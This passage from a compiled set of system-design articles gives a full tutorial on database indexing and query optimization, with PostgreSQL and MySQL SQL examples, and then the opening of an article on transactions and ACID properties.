- [Netflix Key-Value Data Abstraction](https://netflixtechblog.com/introducing-netflixs-key-value-data-abstraction-layer-1ea8a0a11b30) - Cassandra-based data layer
- [TiDB Architecture](https://www.pingcap.com/blog/building-a-large-scale-distributed-storage-system-based-on-raft/) - Multi-Raft implementation

**Books**

- [Martin Kleppmann: Designing Data-Intensive Applications](https://dataintensive.net/) - Chapters 5-6 on replication and partitioning

---

## Indexing and Query Optimization

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/indexing-and-query-optimization
**Category:** System Design / System Design Fundamentals
**Description:** Database indexes accelerate reads by trading write overhead and storage for faster lookups. This article covers index data structures, composite index design, query planner behavior, and maintenance strategies for production systems.

# Indexing and Query Optimization

Database indexes accelerate reads by trading write overhead and storage for faster lookups. This article covers index data structures, composite index design, query planner behavior, and maintenance strategies for production systems.

<figure>

![Query execution flow: planner estimates costs, selects scan type based on selectivity, and accesses data through indexes or heap.](./query-execution-flow-planner-estimates-costs-selects-scan-type-based-on-selectiv.svg)

<figcaption>Query execution flow: planner estimates costs, selects scan type based on selectivity, and accesses data through indexes or heap.</figcaption>
</figure>

## Abstract

Indexing is fundamentally a space-time trade-off: you pay storage and write overhead to reduce read latency. The key mental model:

- **B-tree** indexes maintain sorted order, enabling range queries and equality lookups with $O(\log n)$ complexity
- **Hash** indexes provide $O(1)$ equality lookups but cannot support range queries or ordering
- **LSM trees** optimize for write-heavy workloads by batching writes in memory before flushing to disk
- **Composite indexes** follow the **leftmost prefix rule**—queries must filter on leading columns to use the index efficiently
- **Covering indexes** include all columns needed by a query, enabling index-only scans that skip heap access entirely
- **Selectivity** determines whether an index helps: high-selectivity queries (few rows) benefit from indexes; low-selectivity queries (many rows) often prefer sequential scans
- **Write amplification** scales linearly with index count—each INSERT/UPDATE/DELETE modifies every relevant index

The query planner makes cost-based decisions using statistics about data distribution. Understanding these costs—`seq_page_cost`, `random_page_cost`, and row estimates—explains why the planner sometimes ignores your carefully crafted indexes.

## Index Data Structures

### B-tree: The Default Choice

B-tree (technically B+ tree in most implementations) is the default index type in PostgreSQL, MySQL, and most relational databases. It maintains sorted key-value pairs with $O(\log n)$ lookup, insertion, and deletion.

**How it works:** Internal nodes contain keys and pointers to child nodes. Leaf nodes contain the actual key-value pairs (or pointers to heap tuples). All leaves are at the same depth, ensuring consistent access time regardless of key value.

**Supported operations:**

- Equality: `WHERE col = value`
- Range: `WHERE col > value`, `BETWEEN`, `IN`
- Prefix matching: `WHERE col LIKE 'prefix%'`
- Sorting: `ORDER BY col` without additional sort step

**Best when:**

- Mixed read/write workloads
- Need range queries or ordering
- General-purpose indexing needs

**Trade-offs:**

- ✅ Supports both equality and range queries
- ✅ Natural ordering enables efficient `ORDER BY`
- ✅ Mature, well-understood, stable
- ❌ Write amplification on updates (all indexes must be updated)
- ❌ Random I/O for non-sequential access patterns
- ❌ Page splits can fragment index over time

**Real-world example:** MySQL InnoDB uses B+ trees for both primary (clustered) and secondary indexes. The primary index stores the actual row data in leaf nodes, while secondary indexes store primary key values as pointers—requiring a second lookup to fetch the row.

### Hash Index: O(1) Equality Lookups

Hash indexes compute a hash of the indexed value and store it in a hash table. This provides constant-time lookups for exact matches.

**Supported operations:**

- Equality only: `WHERE col = value`

**Limitations:**

- No range queries (`<`, `>`, `BETWEEN`)
- No ordering (`ORDER BY`)
- No prefix matching (`LIKE 'prefix%'`)

**When to use:**

- Point lookups on high-cardinality columns
- Equality-only access patterns
- When B-tree overhead is measurable

> **PostgreSQL note:** Hash indexes were not crash-safe until PostgreSQL 10 and not logged to WAL until then. They're now fully supported but still rarely outperform B-trees in practice due to PostgreSQL's efficient B-tree implementation.

**Trade-offs:**

- ✅ O(1) lookup for equality
- ✅ Smaller index size for certain data types
- ❌ No range queries or ordering
- ❌ Hash collisions degrade performance
- ❌ Cannot be used for `ORDER BY`

### LSM Trees: Write-Optimized Storage

Log-Structured Merge (LSM) trees optimize for write-heavy workloads by buffering writes in memory before flushing to disk in sorted runs.

**How it works:**

1. Writes go to an in-memory buffer (memtable)
2. When memtable fills, it's flushed to disk as an immutable sorted file (SSTable)
3. Background compaction merges SSTables to maintain read performance

**Read path:** Check memtable → check each SSTable level → use Bloom filters to skip SSTables that definitely don't contain the key.

**Databases using LSM trees:**

- Cassandra, ScyllaDB
- RocksDB (used by CockroachDB, TiKV)
- LevelDB
- HBase

**Trade-offs:**

- ✅ High write throughput (sequential I/O)
- ✅ Better space efficiency with compaction
- ✅ Write amplification amortized across batches
- ❌ Read amplification (may check multiple SSTables)
- ❌ Range queries slower than B-tree
- ❌ Compaction causes I/O spikes
- ❌ Bloom filter overhead for non-existent keys

**Real-world example:** CockroachDB uses RocksDB (LSM-based) as its storage engine while providing SQL semantics. They accept the read amplification trade-off because their workload prioritizes write scalability across distributed nodes.

### Decision Matrix: Index Data Structures

| Factor                 | B-tree    | Hash                 | LSM Tree                   |
| ---------------------- | --------- | -------------------- | -------------------------- |
| Equality queries       | O(log n)  | O(1)                 | O(log n) + levels          |
| Range queries          | Excellent | Not supported        | Slower than B-tree         |
| Write throughput       | Moderate  | Moderate             | Excellent                  |
| Read throughput        | Excellent | Excellent (equality) | Good with Bloom filters    |
| Space efficiency       | Moderate  | Good                 | Better (compaction)        |
| Operational complexity | Low       | Low                  | Higher (compaction tuning) |

## Specialized Index Types

### GIN: Generalized Inverted Index

GIN indexes map element values to the rows containing them—essentially an inverted index. Designed for composite values like arrays, JSONB, and full-text search.

**Use cases:**

- Full-text search: `WHERE document @@ to_tsquery('search terms')`
- JSONB containment: `WHERE data @> '{"key": "value"}'`
- Array membership: `WHERE tags @> ARRAY['tag1', 'tag2']`

**How it works:** GIN breaks composite values into elements and creates an entry for each element pointing to all rows containing it. For JSONB, this means indexing each key-value pair separately.

**Trade-offs:**

- ✅ Fast containment queries on composite types
- ✅ Supports complex operators (`@>`, `?`, `?|`, `?&`)
- ❌ Higher write overhead (multiple index entries per row)
- ❌ Only supports Bitmap Index Scans (not Index-Only Scans)
- ❌ Slower to build than B-tree

**JSONB operator classes:**

- `jsonb_ops` (default): Supports all JSONB operators, larger index
- `jsonb_path_ops`: Only supports `@>`, smaller and faster for containment

```sql title="GIN index for JSONB" collapse={1-2}
-- Create GIN index on JSONB column
CREATE INDEX idx_data_gin ON events USING GIN (data);

-- This query uses the index
SELECT * FROM events WHERE data @> '{"type": "purchase"}';

-- This does NOT use the index (equality, not containment)
SELECT * FROM events WHERE data->>'type' = 'purchase';
```

### GiST: Generalized Search Tree

GiST provides a framework for building custom index types. PostgreSQL uses it for geometric types, range types, and full-text search.

**Built-in GiST use cases:**

- Geometric queries: `WHERE point <@ polygon`
- Range overlaps: `WHERE daterange && '[2024-01-01, 2024-12-31]'`
- Nearest-neighbor: `ORDER BY location <-> point '(x,y)' LIMIT 10`

**GIN vs GiST for full-text search:**

| Factor          | GIN        | GiST    |
| --------------- | ---------- | ------- |
| Lookup speed    | ~3x faster | Slower  |
| Build time      | ~3x longer | Faster  |
| Update overhead | Higher     | Lower   |
| Index size      | Larger     | Smaller |

**Recommendation:** GIN for read-heavy, GiST for write-heavy full-text search workloads.

### BRIN: Block Range Index

BRIN (Block Range INdex) stores summary information about ranges of physical table blocks. Extremely small but only effective when data is physically sorted.

**How it works:** Divides table into block ranges and stores min/max values for each range. Query planner skips ranges that cannot contain matching rows.

**Ideal for:**

- Time-series data with append-only writes
- Naturally ordered data (timestamps, sequential IDs)
- Very large tables where B-tree overhead is prohibitive

**Trade-offs:**

- ✅ Tiny index size (orders of magnitude smaller than B-tree)
- ✅ Minimal write overhead
- ❌ Only effective when data is physically clustered
- ❌ Coarse-grained filtering (may scan many false-positive blocks)
- ❌ Updates that break clustering destroy effectiveness

```sql title="BRIN for time-series data" collapse={1-2}
-- BRIN index on timestamp column for append-only time-series
CREATE INDEX idx_events_created_brin ON events USING BRIN (created_at);

-- Effective query (scans only relevant block ranges)
SELECT * FROM events
WHERE created_at BETWEEN '2024-01-01' AND '2024-01-02';
```

### Partial Indexes: Index a Subset of Rows

Partial indexes include only rows matching a predicate. They reduce index size and maintenance overhead when queries consistently filter on specific conditions.

**Use cases:**

- Active records: `WHERE status = 'active'`
- Unprocessed items: `WHERE processed = false`
- Soft-deleted exclusion: `WHERE deleted_at IS NULL`

```sql title="Partial index for active orders" collapse={1-2}
-- Full index: indexes all 10M rows
CREATE INDEX idx_orders_customer ON orders (customer_id);

-- Partial index: only indexes ~100K active orders
CREATE INDEX idx_orders_customer_active ON orders (customer_id)
WHERE status = 'pending';

-- This query uses the partial index
SELECT * FROM orders WHERE customer_id = 123 AND status = 'pending';

-- This query CANNOT use the partial index (different predicate)
SELECT * FROM orders WHERE customer_id = 123 AND status = 'shipped';
```

**Critical limitation:** The query's `WHERE` clause must logically imply the index predicate. If the planner cannot prove the implication, it won't use the partial index.

**Trade-offs:**

- ✅ Smaller index size (only indexed rows)
- ✅ Lower write overhead (only maintains index for matching rows)
- ✅ Better selectivity on indexed subset
- ❌ Only usable when query implies index predicate
- ❌ Query changes may invalidate index usage

**Real-world example:** Queue tables often have millions of historical rows but only thousands of pending items. A partial index on `WHERE status = 'pending'` keeps the index small regardless of table growth.

## Composite Index Design

### The Leftmost Prefix Rule

Composite indexes are B-trees on multiple columns. The index sorts by the first column, then by the second within each first-column value, and so on.

**Critical rule:** Queries can only use a composite index if they filter on a leftmost prefix of the index columns.

For index `(a, b, c)`:

- ✅ `WHERE a = 1` — uses index
- ✅ `WHERE a = 1 AND b = 2` — uses index
- ✅ `WHERE a = 1 AND b = 2 AND c = 3` — uses index (full)
- ❌ `WHERE b = 2` — cannot use index
- ❌ `WHERE b = 2 AND c = 3` — cannot use index
- ⚠️ `WHERE a = 1 AND c = 3` — uses index only for `a`, then filters

**Range predicates stop index usage for subsequent columns:**

```sql title="Range predicates in composite indexes"
-- Index: (a, b, c)

-- Full index usage: equality on all columns
WHERE a = 1 AND b = 2 AND c = 3

-- Partial usage: range on 'b' stops index at 'b'
WHERE a = 1 AND b > 2 AND c = 3  -- only (a, b) used, c filtered later

-- Optimal reordering: equality columns first, range last
WHERE a = 1 AND c = 3 AND b > 2  -- if index is (a, c, b), full usage
```

### Column Ordering Strategy

**General principle:** Order columns by query patterns and selectivity.

1. **Equality columns first:** Columns used with `=` should precede range columns
2. **High selectivity for leading columns:** More selective columns narrow the search faster
3. **Range/ORDER BY columns last:** Range predicates terminate index traversal for subsequent columns

**Example: E-commerce order queries**

```sql title="Composite index design for orders" collapse={1-4}
-- Common queries:
-- 1. SELECT * FROM orders WHERE customer_id = ? AND status = ? ORDER BY created_at DESC
-- 2. SELECT * FROM orders WHERE customer_id = ? AND created_at > ?
-- 3. SELECT * FROM orders WHERE status = ? ORDER BY created_at DESC

-- Optimal index for query 1:
CREATE INDEX idx_orders_cust_status_created
ON orders (customer_id, status, created_at DESC);

-- For query 2, same index works (uses customer_id, skips status, filters created_at)
-- For query 3, need separate index:
CREATE INDEX idx_orders_status_created
ON orders (status, created_at DESC);
```

### Selectivity and Cardinality

**Cardinality:** Number of distinct values in a column.
**Selectivity:** Fraction of rows returned by a predicate. Higher selectivity = fewer rows = better index candidate.

```
Selectivity = 1 / Cardinality
```

**High-cardinality examples:** User IDs, order numbers, timestamps
**Low-cardinality examples:** Status codes, boolean flags, country codes

**Composite index selectivity:** The combined selectivity of multiple columns can make even low-cardinality columns index-worthy.

| Column                | Cardinality | Selectivity |
| --------------------- | ----------- | ----------- |
| status                | 5           | 20%         |
| customer_id           | 100,000     | 0.001%      |
| (status, customer_id) | ~500,000    | 0.0002%     |

**Pitfall:** Don't index low-cardinality columns alone. A boolean flag with 50/50 distribution has 50% selectivity—the planner will likely prefer a sequential scan.

### Covering Indexes and Index-Only Scans

A covering index includes all columns needed by a query, eliminating heap access entirely.

**PostgreSQL syntax (INCLUDE clause):**

```sql title="Covering index with INCLUDE" collapse={1-2}
-- Index columns used for filtering/ordering
-- INCLUDE columns used only for retrieval
CREATE INDEX idx_orders_covering ON orders (customer_id, status)
INCLUDE (total_amount, created_at);

-- This query can be satisfied entirely from the index
SELECT customer_id, status, total_amount, created_at
FROM orders
WHERE customer_id = 123 AND status = 'completed';

-- EXPLAIN shows: Index Only Scan
```

**MySQL approach:** InnoDB secondary indexes automatically include primary key columns. For true covering indexes, include needed columns in the index definition.

**Trade-offs:**

- ✅ Eliminates heap access (major I/O savings)
- ✅ Significant speedup for read-heavy queries
- ❌ Larger index size (included columns stored in every leaf)
- ❌ No B-tree deduplication in PostgreSQL for covering indexes
- ❌ Increased write overhead

**When to use:**

- Frequently executed queries returning few columns
- Read-heavy workloads with stable query patterns
- Hot queries identified via `pg_stat_statements` or slow query log

**When to avoid:**

- Write-heavy tables with frequent updates
- Large included columns (text, JSON)
- Volatile query patterns

**Real-world example:** pganalyze benchmarked a covering index on 10M rows: query time dropped from 0.6ms to 0.06ms (10x improvement) by avoiding heap fetches.

## Query Planner Behavior

### Cost-Based Optimization

PostgreSQL's query planner estimates execution cost for each possible plan and chooses the lowest-cost option. Understanding cost estimation explains seemingly irrational index choices.

**Key cost parameters:**

| Parameter              | Default | Meaning                            |
| ---------------------- | ------- | ---------------------------------- |
| `seq_page_cost`        | 1.0     | Cost of sequential disk page read  |
| `random_page_cost`     | 4.0     | Cost of random disk page read      |
| `cpu_tuple_cost`       | 0.01    | Cost of processing one row         |
| `cpu_index_tuple_cost` | 0.005   | Cost of processing one index entry |
| `cpu_operator_cost`    | 0.0025  | Cost of executing one operator     |

**Why indexes get ignored:**

1. **Low selectivity:** If the query returns >5-15% of rows, sequential scan is often cheaper (sequential I/O beats random I/O)

2. **Small tables:** Tables fitting in one disk page always get sequential scans—index overhead exceeds benefit

3. **Stale statistics:** `ANALYZE` hasn't run; planner has wrong cardinality estimates

4. **Correlation:** If physical row order matches index order, sequential scan with filter is efficient

### Reading EXPLAIN Output

```sql title="EXPLAIN ANALYZE example" collapse={1-3}
EXPLAIN (ANALYZE, BUFFERS, FORMAT TEXT)
SELECT * FROM orders WHERE customer_id = 12345 AND status = 'pending';

-- Output:
Index Scan using idx_orders_cust_status on orders
    (cost=0.43..8.45 rows=1 width=120)
    (actual time=0.025..0.027 rows=3 loops=1)
  Index Cond: ((customer_id = 12345) AND (status = 'pending'))
  Buffers: shared hit=4
Planning Time: 0.152 ms
Execution Time: 0.045 ms
```

**Key metrics:**

- **cost:** Estimated startup cost..total cost (in arbitrary units)
- **rows:** Estimated rows returned
- **actual time:** Real execution time in milliseconds
- **Buffers: shared hit:** Pages found in buffer cache
- **Buffers: shared read:** Pages read from disk

**Scan types:**

| Scan Type         | Description                     | When Used                                 |
| ----------------- | ------------------------------- | ----------------------------------------- |
| Seq Scan          | Full table scan                 | Low selectivity, small tables             |
| Index Scan        | Traverse index, fetch from heap | High selectivity, single rows             |
| Index Only Scan   | Index satisfies query entirely  | Covering index, clean visibility map      |
| Bitmap Index Scan | Build bitmap of matching pages  | Multiple conditions, moderate selectivity |
| Bitmap Heap Scan  | Fetch pages from bitmap         | Follows Bitmap Index Scan                 |

### When Planner Chooses Sequential Scan

**Threshold behavior:** As selectivity decreases, index scan cost rises while sequential scan cost stays constant. At some crossover point, sequential scan wins.

```
Index Scan Cost ∝ (matching_rows × random_page_cost) + (matching_rows × cpu_tuple_cost)
Sequential Scan Cost ∝ (total_pages × seq_page_cost) + (total_rows × cpu_tuple_cost)
```

**Practical heuristics:**

- <5% of rows: Index scan usually wins
- 5-15% of rows: Depends on data distribution, correlation
- > 15% of rows: Sequential scan often wins

**Forcing index usage (for testing only):**

```sql title="Temporarily disable sequential scans"
SET enable_seqscan = off;  -- Forces index usage for testing
EXPLAIN ANALYZE SELECT ...;
SET enable_seqscan = on;   -- Re-enable for production
```

> **Warning:** Never disable `seqscan` in production. If the planner prefers sequential scan, it's usually correct. Fix the root cause (statistics, index design) instead.

### Statistics and ANALYZE

The planner relies on statistics in `pg_statistic` (PostgreSQL) or `information_schema.STATISTICS` (MySQL). Stale statistics cause poor plans.

**PostgreSQL statistics collection:**

- `autovacuum` runs `ANALYZE` automatically based on row changes
- Manual: `ANALYZE table_name;` or `ANALYZE table_name(column);`
- Statistics are sampled, not exact (default: 100 sample pages)

**Key statistics:**

- **n_distinct:** Estimated number of distinct values
- **most_common_vals:** Most frequent values and their frequencies
- **histogram_bounds:** Distribution of non-common values

**MySQL statistics:**

- InnoDB samples 20 random pages by default
- `ANALYZE TABLE` updates statistics
- `innodb_stats_persistent` controls persistence across restarts

**Symptoms of stale statistics:**

- Planner estimates differ wildly from actual rows
- Unexpected sequential scans on indexed columns
- Nested loop joins on large tables

## Write Amplification and Index Overhead

### The Cost of Indexes

Every index adds overhead to write operations. With $n$ indexes on a table, each `INSERT` performs $n + 1$ writes (table + each index). Updates are worse: each modified indexed column triggers index updates.

**PostgreSQL's MVCC complication:** When any column changes, PostgreSQL creates a new tuple version. All indexes pointing to the old tuple must be updated to point to the new one—even if the indexed columns didn't change.

**MySQL InnoDB difference:** Secondary indexes store primary key values, not physical pointers. Row updates that don't change indexed columns or primary key require no secondary index updates.

**Real-world impact:** Uber's PostgreSQL deployment had tables with 50+ indexes. A single row update triggered 50+ index modifications, causing:

- 10x write amplification
- Massive WAL (Write-Ahead Log) volume
- Replication lag during peak traffic

This architectural difference contributed to Uber's migration from PostgreSQL to MySQL for their trip data.

### Measuring Index Overhead

**PostgreSQL: `pg_stat_user_indexes`**

```sql title="Find unused indexes" collapse={1-3}
SELECT schemaname, relname, indexrelname,
       idx_scan, idx_tup_read, idx_tup_fetch,
       pg_size_pretty(pg_relation_size(indexrelid)) AS size
FROM pg_stat_user_indexes
WHERE idx_scan = 0  -- Never used
ORDER BY pg_relation_size(indexrelid) DESC;
```

**MySQL: Performance Schema**

```sql title="Find unused indexes in MySQL" collapse={1-3}
SELECT object_schema, object_name, index_name
FROM performance_schema.table_io_waits_summary_by_index_usage
WHERE index_name IS NOT NULL
  AND count_star = 0
ORDER BY object_schema, object_name;
```

### Index Maintenance Strategies

**1. Identify and remove unused indexes**

Unused indexes waste storage and slow writes with zero benefit. Query `pg_stat_user_indexes` (PostgreSQL) or Performance Schema (MySQL) for indexes with zero scans over a representative time period.

**2. Identify redundant indexes**

Index `(a, b)` makes index `(a)` redundant for most queries. Tools like `pg_idx_advisor` can detect redundancies.

**3. Consolidate overlapping indexes**

Multiple indexes with similar column prefixes can often be merged:

- `(a)`, `(a, b)`, `(a, b, c)` → Keep only `(a, b, c)` if all queries use leftmost prefix

**4. Consider partial indexes for skewed data**

If 95% of queries filter on `status = 'active'` and only 5% of rows are active, a partial index `WHERE status = 'active'` is dramatically smaller and faster.

## Index Bloat and Maintenance

### Understanding Bloat

Index bloat occurs when deleted or updated rows leave dead space in index pages. PostgreSQL's MVCC creates dead tuples that remain until `VACUUM` cleans them.

**Causes:**

- High update/delete rates
- Long-running transactions holding old snapshots
- Aggressive `autovacuum` settings not keeping pace

**Symptoms:**

- Index size grows despite stable row count
- Query performance degrades over time
- Higher-than-expected I/O for index operations

### Measuring Bloat

**PostgreSQL: `pgstattuple` extension**

```sql title="Check index bloat" collapse={1-3}
CREATE EXTENSION IF NOT EXISTS pgstattuple;

SELECT * FROM pgstattuple('idx_orders_customer');
-- avg_leaf_density < 70% indicates significant bloat

-- For indexes specifically:
SELECT * FROM pgstatindex('idx_orders_customer');
-- leaf_fragmentation > 30% suggests rebuild needed
```

**Heuristic:** Index size significantly larger than `(rows × avg_row_size × 1.2)` suggests bloat.

### VACUUM vs REINDEX

**VACUUM:** Marks dead tuples as reusable but doesn't reclaim space. Index pages with dead entries remain allocated.

**REINDEX:** Rebuilds the index from scratch, reclaiming all bloat.

```sql title="Concurrent reindex" collapse={1-2}
-- Non-blocking rebuild (PostgreSQL 12+)
REINDEX INDEX CONCURRENTLY idx_orders_customer;

-- Table-level (all indexes)
REINDEX TABLE CONCURRENTLY orders;
```

**REINDEX CONCURRENTLY:**

- Builds new index alongside old
- Multiple passes to capture concurrent changes
- Swaps pointers atomically
- Takes longer but allows reads/writes throughout

**When to REINDEX:**

- Bloat exceeds 20-30%
- Query performance has degraded
- After bulk deletes or large schema changes

**Scheduling:** Run `REINDEX CONCURRENTLY` during low-traffic periods. Even concurrent rebuilds consume I/O and CPU.

### Autovacuum Tuning

**Key parameters:**

| Parameter                        | Default | Recommendation                     |
| -------------------------------- | ------- | ---------------------------------- |
| `autovacuum_vacuum_scale_factor` | 0.2     | Lower for large tables (0.01-0.05) |
| `autovacuum_vacuum_threshold`    | 50      | Keep default                       |
| `autovacuum_naptime`             | 1min    | Keep default or lower              |
| `maintenance_work_mem`           | 64MB    | Increase for faster vacuum         |

**Per-table settings for hot tables:**

```sql title="Aggressive autovacuum for hot table"
ALTER TABLE hot_events SET (
    autovacuum_vacuum_scale_factor = 0.01,
    autovacuum_vacuum_threshold = 1000,
    autovacuum_analyze_scale_factor = 0.005
);
```

## Monitoring and Diagnostics

### PostgreSQL: pg_stat_statements

`pg_stat_statements` tracks execution statistics for all queries, normalized by parameter values.

```sql title="Find slow queries" collapse={1-3}
-- Enable extension
CREATE EXTENSION IF NOT EXISTS pg_stat_statements;

-- Top queries by total time
SELECT query,
       calls,
       mean_exec_time::numeric(10,2) AS avg_ms,
       total_exec_time::numeric(10,2) AS total_ms,
       rows
FROM pg_stat_statements
ORDER BY total_exec_time DESC
LIMIT 20;

-- Reset statistics
SELECT pg_stat_statements_reset();
```

**Key metrics:**

- `total_exec_time`: Cumulative execution time
- `calls`: Number of executions
- `mean_exec_time`: Average execution time
- `rows`: Total rows returned
- `shared_blks_hit/read`: Buffer cache efficiency

### MySQL: Slow Query Log and Performance Schema

**Slow query log:**

```sql title="Enable slow query log"
SET GLOBAL slow_query_log = 'ON';
SET GLOBAL long_query_time = 1;  -- Log queries > 1 second
SET GLOBAL slow_query_log_file = '/var/log/mysql/slow.log';
```

**Performance Schema:**

```sql title="Top queries by execution time" collapse={1-2}
SELECT DIGEST_TEXT,
       COUNT_STAR AS calls,
       AVG_TIMER_WAIT/1000000000 AS avg_ms,
       SUM_TIMER_WAIT/1000000000 AS total_ms
FROM performance_schema.events_statements_summary_by_digest
ORDER BY SUM_TIMER_WAIT DESC
LIMIT 20;
```

### Index Usage Monitoring

**Track which indexes are actually used:**

```sql title="Index usage statistics (PostgreSQL)" collapse={1-2}
SELECT schemaname, relname AS table_name,
       indexrelname AS index_name,
       idx_scan AS scans,
       idx_tup_read AS tuples_read,
       idx_tup_fetch AS tuples_fetched
FROM pg_stat_user_indexes
ORDER BY idx_scan DESC;
```

**Alert thresholds:**

- Index with 0 scans over 30 days → candidate for removal
- Index scan count dropping → query pattern changed, investigate

## Common Pitfalls

### 1. Over-Indexing

**The mistake:** Creating indexes for every query pattern without measuring impact.

**Why it happens:** "More indexes = faster reads" intuition ignores write overhead.

**The consequence:** Write latency increases linearly with index count. At scale, this causes replication lag, transaction timeouts, and storage bloat.

**The fix:** Measure before adding indexes. Use `pg_stat_statements` or slow query log to identify actual slow queries. Add indexes incrementally, measuring write impact.

### 2. Wrong Column Order in Composite Indexes

**The mistake:** Ordering columns by table schema rather than query patterns.

**Example:** Index `(status, customer_id)` when most queries filter on `customer_id` alone.

**The consequence:** Index is useless for common queries (violates leftmost prefix rule).

**The fix:** Analyze actual query patterns. Order columns by: equality predicates first, then range predicates, then ORDER BY columns.

### 3. Indexing Low-Cardinality Columns Alone

**The mistake:** Creating an index on a boolean flag or status column with few distinct values.

**Example:** `CREATE INDEX idx_active ON users (is_active);` when 80% of users are active.

**The consequence:** Planner ignores the index (prefers sequential scan for 80% selectivity).

**The fix:** Use composite indexes that combine low-cardinality with high-cardinality columns. Or use partial indexes if one value dominates queries: `WHERE is_active = true`.

### 4. Ignoring Index Bloat

**The mistake:** Never monitoring or maintaining indexes after initial creation.

**Why it happens:** Autovacuum handles tables but doesn't reclaim index space effectively.

**The consequence:** Indexes grow 2-5x actual data size, causing I/O amplification and cache pressure.

**The fix:** Monitor bloat with `pgstattuple`. Schedule periodic `REINDEX CONCURRENTLY` for high-churn tables.

### 5. Function Calls Preventing Index Usage

**The mistake:** Applying functions to indexed columns in WHERE clauses.

```sql
-- Index on created_at is NOT used
WHERE DATE(created_at) = '2024-01-15'

-- Index IS used
WHERE created_at >= '2024-01-15' AND created_at < '2024-01-16'
```

**The consequence:** Full table scan instead of index lookup.

**The fix:** Rewrite queries to apply functions to constants, not columns. Or create expression indexes: `CREATE INDEX idx_date ON orders (DATE(created_at));`

## Conclusion

Index design is about understanding trade-offs, not memorizing rules. The key principles:

1. **Measure first:** Use `pg_stat_statements`, EXPLAIN ANALYZE, and slow query logs to identify actual bottlenecks before adding indexes.

2. **Understand the planner:** Cost-based optimization means the "best" index depends on data distribution, selectivity, and correlation. Sometimes sequential scan is correct.

3. **Design for queries:** Column order, covering columns, and partial predicates should match your actual query patterns, not theoretical ideals.

4. **Pay attention to writes:** Every index taxes every write. At scale, over-indexing causes more problems than missing indexes.

5. **Maintain continuously:** Index bloat, stale statistics, and unused indexes accumulate silently. Monitor and maintain proactively.

The best index strategy emerges from understanding your workload, measuring actual performance, and iterating based on production data—not from following prescriptive rules.

## Appendix

### Prerequisites

- SQL fundamentals (SELECT, WHERE, JOIN, ORDER BY)
- Basic understanding of relational database storage (tables, rows, pages)
- Familiarity with at least one RDBMS (PostgreSQL or MySQL)

### Summary

- **B-tree** indexes support equality and range queries with O(log n) complexity; default choice for most workloads
- **Composite indexes** require queries to filter on leftmost prefix columns; order columns by equality → range → ORDER BY
- **Covering indexes** (INCLUDE clause) enable index-only scans by including all needed columns
- **Partial indexes** reduce size and overhead by indexing only rows matching a predicate
- **Query planner** makes cost-based decisions; low selectivity queries prefer sequential scans
- **Write amplification** scales linearly with index count; PostgreSQL updates all indexes on any row change
- **Index bloat** requires periodic REINDEX CONCURRENTLY; autovacuum doesn't reclaim index space effectively

### References

- [PostgreSQL Documentation: Indexes](https://www.postgresql.org/docs/current/indexes.html) - Official PostgreSQL index documentation
- [MySQL 8.0 Reference Manual: Optimization and Indexes](https://dev.mysql.com/doc/refman/8.0/en/optimization-indexes.html) - MySQL index optimization guide
- [PostgreSQL Documentation: Using EXPLAIN](https://www.postgresql.org/docs/current/using-explain.html) - Query plan analysis
- [PostgreSQL Documentation: Planner/Optimizer](https://www.postgresql.org/docs/current/planner-optimizer.html) - Cost-based optimization internals
- [Why Uber Engineering Switched from Postgres to MySQL](https://www.uber.com/blog/postgres-to-mysql-migration/) - Uber Engineering, 2016 - Write amplification case study
- [Use The Index, Luke](https://use-the-index-luke.com/) - Markus Winand - Comprehensive SQL indexing guide
- [pganalyze: Benchmarking Indexes](https://pganalyze.com/blog/5mins-postgres-benchmarking-indexes) - Covering index benchmarks
- [PostgreSQL GIN Indexes](https://pganalyze.com/blog/gin-index) - pganalyze - GIN index deep dive
- [Crunchy Data: Why Covering Indexes Are Helpful](https://www.crunchydata.com/blog/why-covering-indexes-are-incredibly-helpful) - Covering index analysis
- [Index Bloat in Postgres](https://kendralittle.com/2025/12/01/index-bloat-postgres-why-it-matters-how-to-identify-and-resolve/) - Kendra Little - Bloat management guide

---

## Transactions and ACID Properties

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/transactions-and-acid
**Category:** System Design / System Design Fundamentals
**Description:** Database transactions provide the foundation for reliable data operations: atomicity ensures all-or-nothing execution, consistency maintains invariants, isolation controls concurrent access, and durability guarantees persistence. This article explores implementation mechanisms (WAL, MVCC, locking), isolation level semantics across major databases, distributed transaction protocols (2PC, 3PC, Spanner’s TrueTime), and practical alternatives (sagas, outbox pattern) for systems where traditional transactions don’t scale.

# Transactions and ACID Properties

Database transactions provide the foundation for reliable data operations: atomicity ensures all-or-nothing execution, consistency maintains invariants, isolation controls concurrent access, and durability guarantees persistence. This article explores implementation mechanisms (WAL, MVCC, locking), isolation level semantics across major databases, distributed transaction protocols (2PC, 3PC, Spanner's TrueTime), and practical alternatives (sagas, outbox pattern) for systems where traditional transactions don't scale.

<figure>

![Transaction implementations: single-node ACID via WAL and MVCC; distributed 2PC coordination; saga pattern for microservices with compensating transactions on failure](./transaction-implementations-single-node-acid-via-wal-and-mvcc-distributed-2pc-co.svg)

<figcaption>Transaction implementations: single-node ACID via WAL and MVCC; distributed 2PC coordination; saga pattern for microservices with compensating transactions on failure</figcaption>
</figure>

## Abstract

Transactions wrap multiple operations into a logical unit with specific guarantees. The mental model:

**ACID is not monolithic**—each property addresses a distinct failure mode:

| Property        | Failure Addressed                      | Implementation Mechanism           |
| --------------- | -------------------------------------- | ---------------------------------- |
| **Atomicity**   | Partial failures (crash mid-operation) | Write-Ahead Logging, shadow paging |
| **Consistency** | Invariant violations                   | Application logic + constraints    |
| **Isolation**   | Concurrent access anomalies            | MVCC, locking, SSI                 |
| **Durability**  | Data loss after commit                 | fsync, replication                 |

**Isolation is the complex one**—it's a spectrum, not binary:

- **Read Uncommitted** → sees uncommitted changes (dirty reads)
- **Read Committed** → sees only committed data (most databases' default)
- **Repeatable Read** → same query returns same results (but phantoms possible in SQL standard)
- **Serializable** → equivalent to serial execution (no anomalies)

**Distributed transactions are expensive**—2PC blocks on failures, 3PC doesn't solve network partitions, and both add latency. Modern systems often avoid them:

- **Google Spanner**: Uses TrueTime to achieve external consistency without classic 2PC blocking
- **Microservices**: Sagas with compensating transactions provide eventual atomicity
- **Event-driven systems**: Outbox pattern guarantees local consistency + eventual delivery

**Key insight**: The right transaction strategy depends on your consistency requirements, latency budget, and failure tolerance—not all data needs the same guarantees.

## ACID Properties Deep Dive

### Atomicity: All or Nothing

Atomicity guarantees that a transaction either completes entirely or has no effect. If a system crashes mid-transaction, partial changes are rolled back.

